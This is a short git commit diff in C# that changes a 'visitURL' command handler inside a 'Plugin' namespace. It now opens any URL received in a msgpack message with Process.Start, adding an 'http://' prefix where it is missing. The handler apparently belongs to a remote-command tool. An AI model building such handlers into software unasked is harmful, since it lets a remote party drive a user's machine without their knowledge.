fixed visit url

This commit is contained in:
NYAN CAT 2019-12-14 19:00:27 +03:00
parent 9a4b5d89f0
commit 9819dfb700

View File

@ -26,10 +26,11 @@ namespace Plugin
case "visitURL": case "visitURL":
{ {
string url = unpack_msgpack.ForcePathObject("URL").AsString; string url = unpack_msgpack.ForcePathObject("URL").AsString;
if (url.StartsWith("http")) if (!url.StartsWith("http"))
{ {
Process.Start(url); url = "http://" + url;
} }
Process.Start(url);
break; break;
} }